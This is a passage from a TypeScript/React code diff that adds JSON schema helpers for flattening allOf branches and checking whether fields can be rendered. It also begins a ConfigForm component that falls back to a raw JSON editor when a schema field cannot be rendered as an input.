+ ); +}; + +type JsonObject = Record; + +interface JsonSchemaNode { + type?: string; + title?: string; + description?: string; + default?: unknown; + enum?: string[]; + properties?: Record; + items?: JsonSchemaNode; + allOf?: JsonSchemaNode[]; +} + +interface JsonSchemaDoc { + schema?: JsonSchemaNode; +} + +/** + * Flatten a node's `allOf` branches into it. A *checked* schema (effect's `Schema.Int`, or anything + * with `.check(...)`) nests its annotations and constraints there rather than at the top level, so + * a form that only reads the top level silently loses every title and default on those fields. + */ +const flatten = (node: JsonSchemaNode): JsonSchemaNode => + (node.allOf ?? []).reduce( + (acc, branch) => ({ ...acc, ...branch }), + { ...node }, + ); + +/** Can this field be rendered as a real input? Anything else sends the whole form to the editor. */ +const renderable = (node: JsonSchemaNode): boolean => { + const n = flatten(node); + if (n.enum) return true; + if (n.type === "boolean" || n.type === "string") return true; + if (n.type === "number" || n.type === "integer") return true; + if (n.type === "array" && flatten(n.items ?? {}).type === "string") return true; + if (n.type === "object" && n.properties) { + return Object.values(n.properties).every(renderable); + } + return false; +}; + +const ConfigForm: FC<{ + schema: JsonSchemaDoc | null; + value: JsonObject; + raw: string; + onRaw: (v: string) => void; + saving: boolean; + onSave: (value: JsonObject) => void; +}> = ({ schema, value, raw, onRaw, saving, onSave }) => { + const [draft, setDraft] = useState(value); + const root = schema?.schema ? flatten(schema.schema) : undefined; + const props = root?.properties; + // Fall back to the JSON editor when there is no schema, or any field is a shape the generic + // form can't express (a non-enum union, a $ref). Partial rendering would be worse than none: + // a field silently missing from the form is a setting the operator cannot change. + const canRender = props !== undefined && Object.values(props).every(renderable); + + if (!canRender) { + return ( +
+

+ {m.library_source_settings_json_hint()} +

+